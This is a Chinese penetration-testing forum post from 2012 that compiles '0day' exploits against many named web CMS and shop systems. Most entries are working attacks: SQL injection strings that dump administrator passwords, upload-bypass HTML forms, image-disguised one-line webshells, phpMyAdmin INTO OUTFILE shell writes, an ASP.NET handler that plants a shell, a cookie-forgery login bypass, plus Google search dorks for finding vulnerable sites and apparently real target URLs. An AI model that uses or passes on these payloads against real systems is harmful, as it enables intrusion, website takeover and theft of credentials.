中国网络渗透测试联盟

标题: 0day合集 [打印本页]

---

作者: admin    时间: 2012-9-13 16:58
标题: 0day合集
启航企业建站系统 cookie注入漏洞通杀所有版本

直接上exploit:
6 S: P) ^9 w( b: g+ {7 E3 |) Njavascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
# [$ o7 A+ U) Q# j5 L3 i& O: d$ k- ~test:http://www.tb11.net/system/xitong/shownews.asp?id=210
. ~# f' D- o2 o" w) G6 q2 r--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$ m) B  [  J0 I7 jAsprain论坛 注册用户 上传图片就可拿到webshell
. O' n) T6 n; X; D+ G
4 b3 @5 t8 X* t- MAsprain是一个适合于各中小学、中专、技校、职高建设校园论坛、师生交流论坛，一些教科研部门、公司企业建设内部论坛、IT技术爱好者建设技术交流论坛的免费论坛程序。
8 z( Y! K: J5 j: M1.txt存放你的一句话马 如：<%execute(request("cmd"))%>
2.gif 为一小图片文件，一定要小，比如qq表情图片
6 P/ s* q/ m, \0 o% z3:copy /b 2.gif+1.txt 3.gif 这样就伪造了文件头，但是现在传上去还不行，我接下来就用
4:copy /b 3.gif+2.gif 4.asp ok,现在文件头和文件尾都是正常的图片文件了
5.q.asp;.gif
google：Powered by Asprain
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ShopNum1全部系统存在上传漏洞。
7 D8 v. ~4 ?; F) l; u
首先 在 http://www.shopnum1.com/product.html 页面查看任意产品详细说明。
按说明 提示登录后台。。
在后台功能页面->附件管理->附件列表
0 Y  f; J( S7 j% \可以直接上传.aspx 后缀木马
$ e( x' `; a: Q: Bhttp://demo.shopnum1.com/upload/20110720083822500.aspx
- _; Y+ e5 K5 j8 Y6 v--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2 U* Y2 K( b, y5 r5 I
3 O) y6 ], f2 u. g5 Q牛牛CMS中小企业网站管理系统 上传漏洞
7 h) m9 o' \: f, V3 o" p: L4 C
牛牛CMS是中企商铺网专为中小企业网站开发的网站管理系统。
后台:admin/login.asp
ewebeditor 5.5 Nday
exp:
<form?action="http://www.lz5188.net/Admin/WebEditor168/asp/upload.asp?action=save&type=image&style=popup&cusdir=Mr.DzY.asp"?method=post?name=myform?enctype="multipart/form-data">?
; J+ b! H; m, f<input?type=file?name=uploadfile?size=100><br><br>?
$ ~  x" h$ _( F3 W- ]<input?type=submit?value=upload>?
</form>
; L  I# L# ~4 D9 m/ kps:先上传小马.
& ^8 e% F- Q. y2 V+ Cinurl:member/Register.asp 您好，欢迎来到立即注册立即登录设为首页加入收藏

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

YothCMS 遍历目录漏洞
2 Q7 J- E2 z+ V8 W
优斯科技企业网站管理系统(YothCMS)是一款完全开源免费的CMS。
默认后台:admin/login.asp
遍历目录:
ewebeditor/manage/upload.asp?id=1&dir=../
$ `8 E& p* y4 Hdata:
" D5 l6 B, a5 n6 k, K; L8 zhttp://www.flycn.net/%23da%23ta%23\%23db_%23data%23%23.asa
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0 w8 F) }+ d/ R' X8 Z( @) M
# Z( Q. B8 u  u( \Net112企业建站系统 1.0

源码简介：
  e' A" v. u* E- o0 V  B9 \" LNet112企业建站系统，共有：新闻模块，产品模块，案例模块，下载模块，相册模块，招聘模块，自定义模块，友情链接模块 八大模块。
9 \5 ~) ]- L6 G' q( `& X添加管理员：
http://www.0855.tv/admin/admin.asp?action=add&level=2
; e* N% l) [' {其实加不加都不是很重要，后台文件都没怎么作验证。
3 k, O3 f- h( o3 L* Q上传路径：
http://www.0855.tv/inc/Upfile.as ... 0&ImgHeight=200
http://www.0855.tv/inc/Upfile.asp?Stype=2
9 {# g5 w1 I- n$ v; E/ _! s怎么利用自己研究。
7 K$ s- h9 G0 r+ T1 }  n遍历目录：
. f% `, V& N; `/ |; F/ E6 M/ U2 qhttp://www.0855.tv/admin/upfile.asp?path=../..
如：
' ?! V; f! c+ I9 {0 _  Uhttp://www.0855.tv/admin/upfile.asp?path=../admin
: F$ f9 P/ q9 G5 w: ^' _http://www.0855.tv/admin/upfile.asp?path=../data
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

- N/ p4 d3 ~: o) m9 Y. ^易和阳光购物商城通杀 上传漏洞
/ L; n) |3 A& k; c
+ \7 `. t$ }$ s6 A4 H" N前提要求是IIS6.0+asp坏境。
  k) |' r# }, x3 @8 \# m漏洞文件Iheeo_upfile.asp
过滤不严.直接可以iis6.0上传
$ ]5 P2 p& z0 k( K' E% Z5 O把ASP木马改成0855.asp;1.gif
& Q  @( N) W5 [: q* Y直接放到明小子上传
8 ~! {# d2 J2 g4 AGoogle搜索：inurl:product.asp?Iheeoid=
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
. v/ B/ P$ Y. R% m: B
phpmyadmin后台4种拿shell方法
' [: C% h1 Z$ v7 z$ t2 _
方法一：
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
. H6 p5 c2 [! B' X5 Y  ?INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
+ @3 S' y) D& ^( B" QSELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
  z" T! T  p$ T  o& K----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
2 X, L- t& M1 c  K% g$ {一句话连接密码：xiaoma
9 I, V, L7 L, B* D方法二：
" `' U( Y& h$ U5 R% C& ?Create TABLE xiaoma (xiaoma1 text NOT NULL);
0 I# P) i- W& U. _- }. QInsert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
' @! w: [& m8 R& Vselect xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
* P5 V6 b0 C  J# y- }Drop TABLE IF EXISTS xiaoma;
方法三：
读取文件内容：    select load_file('E:/xamp/www/s.php');
写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
8 }4 U3 i$ X& U/ U) w6 l1 `cmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
方法四：
select load_file('E:/xamp/www/xiaoma.php');
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

. Y6 r( D! y; }# z! w传信网络独立开发网站源码0day漏洞
0 v; h6 Q- p4 G& W* b5 b6 \) w
$ K( Q. ?  D, B后台system/login.asp
进了后台有个ewebeditor
Google 搜索inurl:product1.asp?tyc=
编辑器漏洞默认后台ubbcode/admin_login.asp
% e+ g* ?( e* B6 b; a- W" a数据库ubbcode/db/ewebeditor.mdb
; {4 i& P# S' _0 A6 s默认账号密码yzm 111111

拿webshell方法
6 K; X  x% E" |6 n, C8 W; {登陆后台点击“样式管理”-选择新增样式
样式名称:scriptkiddies 随便写
路径模式：选择绝对路径
图片类型：gif|jpg|jpeg|bmpasp|asa|aaspsp|cer|cdx
+ r$ e( o" z8 [. _# k" J图片类型比如就是我们要上传的ASP木马格式
" v) W  \& K0 s6 `上传路径：/
图片限制：写上1000 免的上不了我们的asp木马
8 q- x: P# T+ B- e* C上传内容不要写
4 k' z1 X; r+ J8 ?; d/ D  o9 s' o9 _可以提交了
样式增加成功！
返回样式管理 找到刚才添加的样式名称 然后按工具栏 在按新增工具栏
5 }. \+ i: d0 k/ G2 q按钮设置 在可选按钮 选择插入图片然后按》 -然后保存设置
网页地址栏直接输入ubbcode/Upload.asp?action=save&type=&style=scriptkiddies
上ASP木马 回车 等到路径
3 Y+ V: K4 V; t4 Q: l9 \. p
- {) O  O; d: j* ^后台：system/login.asp
5 P* y2 o" U1 m+ F- S: A4 |Exp:
8 T1 e! @2 m% o& m+ qand 1=2 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
测试:
http://www.zjgaoneng.com/product_show.asp?id=9 and 1=2 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
" T9 [& Q) \5 O  g2 ~& p8 Ohttp://www.yaerli.com/product_show.asp?id=245 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14 from master
& c- k  z3 J7 P% x; l+ x1 H/ N--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
! X) T$ `) x$ S2 G" G5 h
# @+ V3 d) t* W1 @foosun 0day 最新注入漏洞

1 `( A2 @5 f. Z: \2 J! H漏洞文件：www.xxx.com/user/SetNextOptions.asp
利用简单的方法：
暴管理员帐号：
8 L! g" ~0 U( ~/ P% Xhttp://www.i0day.com/user/SetNex ... amp;ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin
暴管理员密码：
http://www.i0day.com/user/SetNex ... amp;ReqSql=select+1,admin_pass_word,
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

+ y. F3 N4 f4 s1 q/ Q4 J: ?网站程序的版权未知！

9 w" D' i2 I0 w6 Z" p* g默认网站数据库：
www.i0day.com/data/nxnews.mdb
ewebeditor 在线编辑器：
% U7 E) m( d% L  o, g3 t7 S( S编辑器数据库下载地址：www.i0day.com/ewebeditor/db/ewebeditor.mdb
$ f, o$ L0 s# E( Y, y0 I8 r5 ?登录地址：ewebeditor/admin_login.asp
* U  R& y' q! K. L. L默认密码：admin  admin
登陆后可遍历目录：ewebedtior/admin_uploadfile.asp?id=22&dir=../../data

/ q! U$ A3 w. I$ f- ^" E2 ESql注入漏洞：
/ `! W& n7 h' ehttp://www.i0day.com/detail.asp?id=12
exp:
) f$ P/ e3 f  X$ s  Iunion select 1,admin,password,4,5,6,7,8 from admin
$ T  w7 }2 m+ ?) y爆出明文帐号/密码

上传漏洞：
后台+upfile.asp
) L6 ?4 q; I  M/ v2 Z& }如：
http://www.i0day.com/manage/upfile.asp 可以用工具。如明小子。
shell的地址：网址+后台+成功上传的马
google:inurl:news.asp?lanmuName=
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
# i3 _  G4 o: z
0 e, E4 z, X% L# A  a$ i* _/ v9 Fdedecms最新0day利用不进后台直接拿WEBSHELL

- v2 V$ _$ f6 z8 I/ o& D4 l拿webshell的方法如下：
9 S; x& w% Q( ]7 i网传的都是说要知道后台才能利用，但不用，只要 plus 目录存在，服务器能外连，就能拿shell.
; F0 R( K9 G$ f( g8 C前题条件，必须准备好自己的dede数据库，然后插入数据：
$ ~7 l" r3 b) G/ sinsert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
+ [3 y+ }2 ^' Z" W9 C# T+ M<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
% X9 n9 m4 x0 E<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
+ V3 A7 ^) P( N+ E5 m! U8 E6 O<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
( D7 g; }7 T2 b: C1 m2 e% I<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
  o; ^: ^+ X& i1 |2 r* g# f/ C: edocument.QuickSearch.action=document.QuickSearch.doaction.value;
9 S+ _( W- U3 o0 y" @+ @, ]}
( W8 ~7 Y0 I  `9 y</script>
! @; K. E: P+ s  B. x: P- A# H5 Y-----------------------------------------------------------------------------------------------------------------------------------------------

9 R% j3 |) Q% {% Jdedecms织梦暴最新严重0day漏洞
# R* H+ u2 g% ?9 {- gbug被利用步骤如下：
2 ~; f8 w% Z4 M- Bhttp://www.2cto.com /网站后台/login.php?dopost=login&validate={dcug}&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
, i, I6 ~. |- L/ B/ T& y5 R7 H' z把上面{}上的字母改为当前的验证码，即可直接进入网站后台。
-------------------------------------------------------------------------------------------------------------------------------------------
( {" h+ N1 i! S& B2 P
多多淘宝客程序上传漏洞
漏洞页面：
/ }9 x3 `( x. R6 D, C0 Uadmin\upload_pic.php
; \+ @  c! o2 D) q: v% C传送门：
http://www.www.com/admin/upload_pic.php?uploadtext=slide1
2 C! U/ j6 n- D7 G0 NPS:copy张图片马 直接  xxx.php 上传抓包地址！
- D) p& q5 ]9 b0 P7 U, `5 [5 J3 c5 C------------------------------------------------------------------------------------------------------------------------------------------------------

无忧公司系统ASP专业版后台上传漏洞
漏洞文件 后台上传
admin/uploadPic.asp
& K5 x6 S6 J( e5 o; k漏洞利用 这个漏洞好像是雷池的
& G  t/ I7 [/ T7 _9 y" yhttp://forum.huc08.com/admin/upl ... ptkiddies.asp;& upload_code=ok&editImageNum=1
等到的webshell路径：
/UploadFiles/scriptkiddies.asp;_2.gif
---------------------------------------------------------------------------------------------------------------------------------------------------

- ?' T6 ?6 I: z住哪酒店分销联盟系统2010
$ u+ N" ^- U, [( qSearch：
inurl:index.php?m=hotelinfo
2 N9 ]5 Y) p$ o8 U) Zhttp://forum.huc08.com /index.php?m=liansuohotel&cityid=53%20and%201=2%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10%20from%20zhuna_admin
默认后台：index.php?m=admin/login
--------------------------------------------------------------------------------------------------------------------------------------------------
' h9 n. ~+ \. S7 c5 k6 O  U
inurl:info_Print.asp?ArticleID=
后台 ad_login.asp
爆管理员密码：
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
! E3 h( M. e. B( D: N  a: }1 ]$ ~------------------------------------------------------------------------------------------------------------------------------------------------------------

" n1 B/ J7 }: e. W% K* x搜索框漏洞！
6 x, H; q& c: B2 i$ Q! ]0 g4 \%' and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where '%'='
--------------------------------------------------------------------------------------------------------------------------------------------------------

关键字：
" H! l% r- q: [7 Tinurl:/reg_TemletSel.asp?step=2
或者
电子商务自助建站--您理想的助手
-------------------------------------------------------------------------------------------------------------------------------------------------

. S" w% T- X: `* n$ y; BiGiveTest 2.1.0注入漏洞
/ ?* F+ C2 w1 {2 @5 {Version: <= 2.1.0
# Homepage: http://iGiveTest.com/
谷歌关键字: “Powered by iGiveTest”
随便注册一个帐号。然后暴管理员帐号和密码
1 c! Y! E: u8 X/ ~2 n3 k% |3 Ahttp://www.xxxx.com/users.php?ac ... r=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1
3 h( s( _" j6 ], p------------------------------------------------------------------------------------------------------------------------------------------------
8 v. s. v3 W# d7 l; i7 b6 N4 O
CKXP网上书店注入漏洞
% p6 b* a5 @" Q5 t  h3 N5 L0 j工具加表:shop_admin 加字段:admin
后台:admin/login.asp
+ j; S- }/ x1 e登陆后访问:admin/editfile.asp?act= 直接写马.也可以直接传马:admin/upfile1.asp?path=/
5 P! p4 [$ S0 @: @0 Y' H/ f+ V, Binurl:book.asp 请使用域名访问本站并不代表我们赞同或者支持读者的观点。我们的立场仅限于传播更多读者感兴趣的信息
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- f2 }0 h( [* |
& ]. `6 d. D" y8 q6 P/ G7 R: G段富超个人网站系统留言本写马漏洞
源码下载：http://www.mycodes.net/24/2149.htm
5 l! y& P# K2 a* `addgbook.asp 提交一句话。
4 E( w: z6 ^% M7 H连接： http://www.xxxx.tv/date/date3f.asp
google:为防批量，特略！
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

智有道专业旅游系统v1.0 注入及列目录漏洞
默认后台路径：/admin/login.asp
默认管理员：admin
9 N1 L1 |0 s9 U, w默认密码：123456
SQL EXP Tset:
http://www.untnt.com/info/show.asp?id=90 union select 1,userid,3,4,5,userpsw,7,8,9,10,11,12,13,14,15 from admin
! E7 |. t$ k# ?. Q------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- d' k$ o+ Q: S: L7 P: p
* E  @0 A. K! c3 d' \ewebeditor(PHP) Ver 3.8 本任意文件上传0day
, z* ~, A, a$ |2 X0 P6 ^EXP：
<title>eWebeditoR3.8 for php任意文件上EXP</title>
9 a! q, b, E. Y  e# M. x8 n<form action="" method=post enctype="multip
art/form-data">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000">
URL:<input type=text name=url value="http://www.untnt.com/ewebeditor/" size=100><br>
/ o8 o6 d" j4 y<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1">
file:<input type=file name="uploadfile"><br>
% I" X  k" z; |  Q7 T0 V0 D' `* n  [<input type=button value=submit onclick=fsubmit()>
! j& I/ g) e* e. e' }* N. V7 h</form><br>
<script>
; }5 e. Z) R5 u' k7 Jfunction fsubmit(){
" M) J$ b. b2 ~+ F9 N* U8 \form = document.forms[0];
form.action = form.url.value+''php/upload.php?action=save&type=FILE&style=toby57&language=en'';
alert(form.action);
form.submit();
}
/ j9 @; l8 i2 T# Z. \. @</script>
2 F; k7 o) Z3 e9 b1 U' @' ^  Y注意修改里面ewebeditor的名称还有路径。
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
7 k4 t$ ]; F' ~5 j( v# O- I. s" R
提交’时提示ip被记录 防注入系统的利用
9 M7 ]& _" a$ E7 w9 Y, s网址：http://www.xxx.com/newslist.asp?id=122′
提示“你的操作已被记录!”等信息。
利用方法：www.xxx.com/sqlin.asp看是否存在，存在提交http://www.xxx.com/newslist.asp?id=122‘excute(request("TNT"))写入一句话。
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4 E' T" T) ~$ q4 @
西部商务网站管理系统 批量拿shell-0day
这站用的是SQL通用防注入程序 V3.0,恩,这东西可不好绕,我记得当初我有写过一个文章 通过提交一句话直接拿shell的..唯一的前提是存储记录ip的数据库必须是.asp或.asa才行..看了下sqlin.mdb
1:admin_upset.asp 这个文件有个设置上传后缀的地方.. 很简单,它直接禁止了asp,asa.aspx 还有个cer可以利用嘛
  q3 ^2 w9 q6 ^$ A* c: w2:同样是admin_upset.asp 这个文件不是入库的 他是直接在htmleditor目录生成个config.asp文件...Ok不用多说,插个一句话搞定...注意闭合
3:admin_bakup.asp 备份数据库的..但是得本地构造...调用了filesystemobject 怎么利用就不强调了..IIS的bug大家都懂
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4 ]% v; a4 ], v0 |7 X
JspRun!6.0 论坛管理后台注入漏洞
) R' w1 R4 _/ _% f* w- E
$ F7 w) z+ t8 Q: |& ASEBUG-ID:20787 发布时间:2011-04-30 影响版本:
JspRun!6.0
; {) [; d- {4 @漏洞描述:
JspRun!论坛管理后台的export变量没有过滤，直接进入查询语句，导致进行后台，可以操作数据库，获取系统权限。
在处理后台提交的文件中ForumManageAction.java第1940行
8 ]$ R3 ~. S( x5 xString export = request.getParameter("export");//直接获取，没有安全过滤
/ Z( C6 T! A2 V6 P* D) L6 Cif(export!=null){
6 w7 y. T0 P# o, o0 K, F! dList&gt; styles=dataBaseService.executeQuery("SELECT s.name, s.templateid, t.name AS tplname, t.directory, t.copyright FROM jrun_styles s LEFT JOIN jrun_templates t ON t.templateid=s.templateid WHERE styleid='"+export+"'");//进入查询语，执行了...
- _  X) N' e( I) {+ b: nif(styles==null||styles.size()==0){
* i. z. ~2 ^( `( O/ O<*参考
nuanfan@gmail.com
) J9 Q' E% c! G; {$ @' a: S/ u' D*> SEBUG安全建议:
www.jsprun.net
（1）安全过滤变量export
$ I/ Y/ n. J3 F: @（2）在查询语句中使用占位符
+ I7 h& f: m  K0 E; _------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

乌邦图企业网站系统 cookies 注入
. W) H4 T, _( q; K( p: H' @
  v" V# X( l  H& E1 H3 {# ]程序完整登陆后台:/admin/login.asp
0 M/ U4 W4 i4 ~5 K9 f默认登陆帐号:admin 密码:admin888
: [; Z8 f1 T' A& u3 T8 l. M5 h, k语句：(前面加个空格)
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin
或者是16个字段：
! d, [  B* g6 [  D# A8 Z( V* Iand 1=2 union select 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin
* L9 B" m0 M) i; N% q" W爆不出来自己猜字段。
注入点：http://www.untnt.com/shownews.asp?=88
0 U, c3 `1 c# ^/ tgetshell:后台有备份，上传图片小马。备份名：a.asp 访问 xxx.com/databakup/a.asp
* L8 x& v' l0 ?& ]9 K6 i% O关键字：
inurl:shownews?asp.id=
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0 h4 V+ ]% ^) `, D9 [1 `
CKXP网上书店注入漏洞
8 G( _( m2 U, U% W4 M, l1 w% a
3 N1 h8 }0 R6 f2 u工具加表:shop_admin 加字段:admin
6 e2 l# |5 n) b" R* n6 j后台:admin/login.asp
登陆后访问:admin/editfile.asp?act= 直接写马.也可以直接传马:admin/upfile1.asp?path=/
& ]! R  S% R, L  Q; v3 yinurl:book.asp 请使用域名访问本站并不代表我们赞同或者支持读者的观点。我们的立场仅限于传播更多读者感兴趣的信息
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

YxShop易想购物商城4.7.1版本任意文件上传漏洞

http://xxoo.com/controls/fckedit ... aspx/connector.aspx
跳转到网站根目录上传任意文件。
- t3 D; [- w- r4 M. _/ L) {如果connector.aspx文件被删可用以下exp，copy以下代码另存为html，上传任意文件
<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxoo.net/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx?Type=Media" method="post">
. P8 H5 C. H4 |: _6 MUpload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
# E6 m: P# K, c/ N! D</form>
7 C! g4 _! w) t; F9 J8 _-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
: K9 M) `' z; Q) m! c9 f
0 o* E, w3 S$ D7 V) B( U7 TSDcms 后台拿webshell

  D5 F  N6 O4 n" o第一种方法：
4 z* u% i0 R, J进入后台-->系统管理-->系统设置-->系统设置->网站名称;
把网站名称内容修改为   "%><%eval request("xxx")'    //密码为xxx
用菜刀链接http://www.xxx.com/inc/const.asp  就搞定了。
第二种方法：
进入后台-->系统管理-->系统设置-->系统设置->上传设置;
/ Z, ~: \) u4 q& [, |* B& w4 M6 c, f在文件类型里面添加一个aaspsp的文件类型，然后找一个上传的地方直接上传asp文件！ 注：修改文件类型后不能重复点保存！
, |9 E) v# |. j' P  i/ C第三种方法：
+ g6 }) m, |+ x/ S' z进入后台-->界面管理-->模板文件管理-->创建文件
文件名写入getshell.ashx
# u8 ]8 `- Z, z" u内容写入下面内容：
/====================复制下面的=========================/
7 J( q- l; r# K2 e<%@ WebHandler Language="C#" Class="Handler" %>
4 d5 _0 ~1 F0 U! E# ?$ A0 e' Lusing System;
using System.Web;
using System.IO;
2 K7 c/ h! C; u. d$ N0 U( cpublic class Handler : IHttpHandler {
1 f3 K. d; e6 ^+ Zpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
3 ?, l( D9 x: G0 |6 u7 ZStreamWriter file1= File.CreateText(context.Server.MapPath("getshell.asp"));
! J% _  M- e" k! {, S. d4 Dfile1.Write("<%response.clear:execute request(\"xxx\"):response.End%>");
file1.Flush();
file1.Close();
}
. ~6 P$ M- v& d4 ]: J8 A8 bpublic bool IsReusable {
get {
! }& z; }6 u; w! t! G; treturn false;
: q1 y) o* F7 f/ L}
% A3 `1 Y% v4 o}
}
3 ^( C) e+ x( a6 T/=============================================/
访问这个地址：http://www.xxx.com/skins/2009/getshell.ashx
( v% G2 f; K' J" R会在http://www.xxx.com/skins/2009/目录下生成getshell.asp 一句话木马 密码为xxx 用菜刀链接
8 l. u+ x4 ~, ~8 o9 F7 g! m-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
: A/ d+ H3 x' B0 [' [9 q
4 }" w- _; A) c5 wESCMS网站管理系统0day

  r* p" ?+ V! }1 [: |; ~8 {后台登陆验证是通过admin/check.asp实现的
/ `5 [. A# `: M0 P
5 f' v7 E3 t8 p( _7 ]7 D首先我们打开http://target.com/admin/es_index.html
然后在COOKIE结尾加上
& Q5 k9 I/ ~2 h, K; g* M* T+ H; ESCMS$_SP2=ES_admin=st0p;
0 u* J$ i8 j: F' j- y( a+ k9 h修改,然后刷新
, ?  M  J& ]& g9 \" M( g$ ~进后台了嘎..
7 C; _4 o0 r; F; {# A! K然后呢…提权,嘿嘿,admin/up2.asp,上传目录参数filepath过滤不严,导致可截断目录,生成SHELL
' @  C7 Z% Z! z2 b- D
  G$ o' U0 y1 Q. l! L利用方法,可以抓包,然后改一下,NC上传,还可以直接用DOMAIN等工具提交.
嘿嘿,成功了,shell地址为http://target.com/admin/diy.asp
1 d" `# r/ w1 \2 `) }2 c7 h存在这个上传问题的还有admin/downup.asp,不过好像作者的疏忽,没有引用inc/ESCMS_Config.asp,导致打开此页面失败..
2 x& D9 E: M. `$ z& q在版本ESCMS V1.0 正式版中,同样存在上传问题admin/up2.asp和admin/downup.asp都可利用,只不过cookies欺骗不能用了
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4 z/ O( H* F$ n. I宁志网站管理系统后台无验证漏洞及修复

网上搜了一下,好像没有发布.如有雷同纯粹巧合!
4 X# ^; o6 k  ~" W9 \官方网站:www.ningzhi.net
- u7 x6 F: Q, Q1 r2 n学校网站管理系统 V.2011版本
, q& @2 p) k7 e- ?+ X9 e+ y, [http://down.chinaz.com/soft/29943.htm
6 [2 `, h( ]5 T6 [) ^# e其它版本(如:政府版等),自行下载.
% k9 J1 t8 O" D漏洞说明:后台所有文件竟然都没有作访问验证...相当无语...竟然用的人还很多.汗~~~
login.asp代码如下:
7 o( [" n! k& K, T5 ^" r<%  response.Write"<script language=javascript>alert('登陆成功！请谨慎操作！谢谢！');this.location.href='manage.asp';</script>" %>
2 B( ]! B% o- z0 P; imanage.asp代码我就不帖出来了.反正也没验证.
5 a, G5 A" x' u只要访问登陆页就可以成功登陆.....蛋疼~~~ 对此本人表示不理解!
漏洞利用:
直接访问http://www.0855.tv/admin/manage.asp
数据库操作:http://www.0855.tv/admin/manage_web.asp?txt=5&id=web5
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

* W5 ?  R* A2 ]/ Q& v# e9 ]3 g2 Xphpmyadmin拿shell的四种方法总结及修复
0 C0 x9 E3 g; L5 O. ?# l) i( r& H* o% D
方法一：
CREATE TABLE `mysql`.`study` (`7on` TEXT NOT NULL );
+ }3 F3 V7 t' g, KINSERT INTO `mysql`.`study` (`7on` )VALUES ('<?php @eval($_POST[7on])?>');
: r/ ?6 |- U" a) O  G* G8 ^, t2 w8 `3 vSELECT 7onFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行，在数据库: mysql 下创建一个表名为：study，字段为7on，导出到E:/wamp/www/7.php
2 ?( B. P+ M( K' x& ^. P    一句话连接密码：7on
7 I) U1 E  |8 {, q9 F" o方法二：
0 X, i. z  v6 t1 A& {* n/ I# ~8 r读取文件内容：    select load_file('E:/xamp/www/s.php');
写一句话：    select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/study.php'
- m( I, m. V4 g" W3 K( pcmd执行权限：    select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
4 K4 P8 `" @. ^$ O1 ~- U方法三：
5 {3 J9 t- V' L3 Q8 jJhackJ版本 PHPmyadmin拿shell
- E9 r9 u; U! oCreate TABLE study (cmd text NOT NULL);
Insert INTO study (cmd) VALUES('<?php eval($_POST[cmd])?>');
select cmd from study into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS study;
<?php eval($_POST[cmd])?>
CREATE TABLE study(cmd text NOT NULL );# MySQL 返回的查询结果为空(即零行)。
: i0 Z! h2 x0 d0 mINSERT INTO study( cmd ) VALUES ('<?php eval($_POST[cmd])?>');# 影响列数： 1
& V6 F. f5 _9 e; q3 Y* S+ xSELECT cmdFROM study INTO OUTFILE 'E:/wamp/www/7.php';# 影响列数： 1
+ }, F, L. C/ _3 L3 }- wDROP TABLE IF EXISTS study;# MySQL 返回的查询结果为空(即零行)。
1 ]# I. `( u$ x  p方法四：
select load_file('E:/xamp/www/study.php');
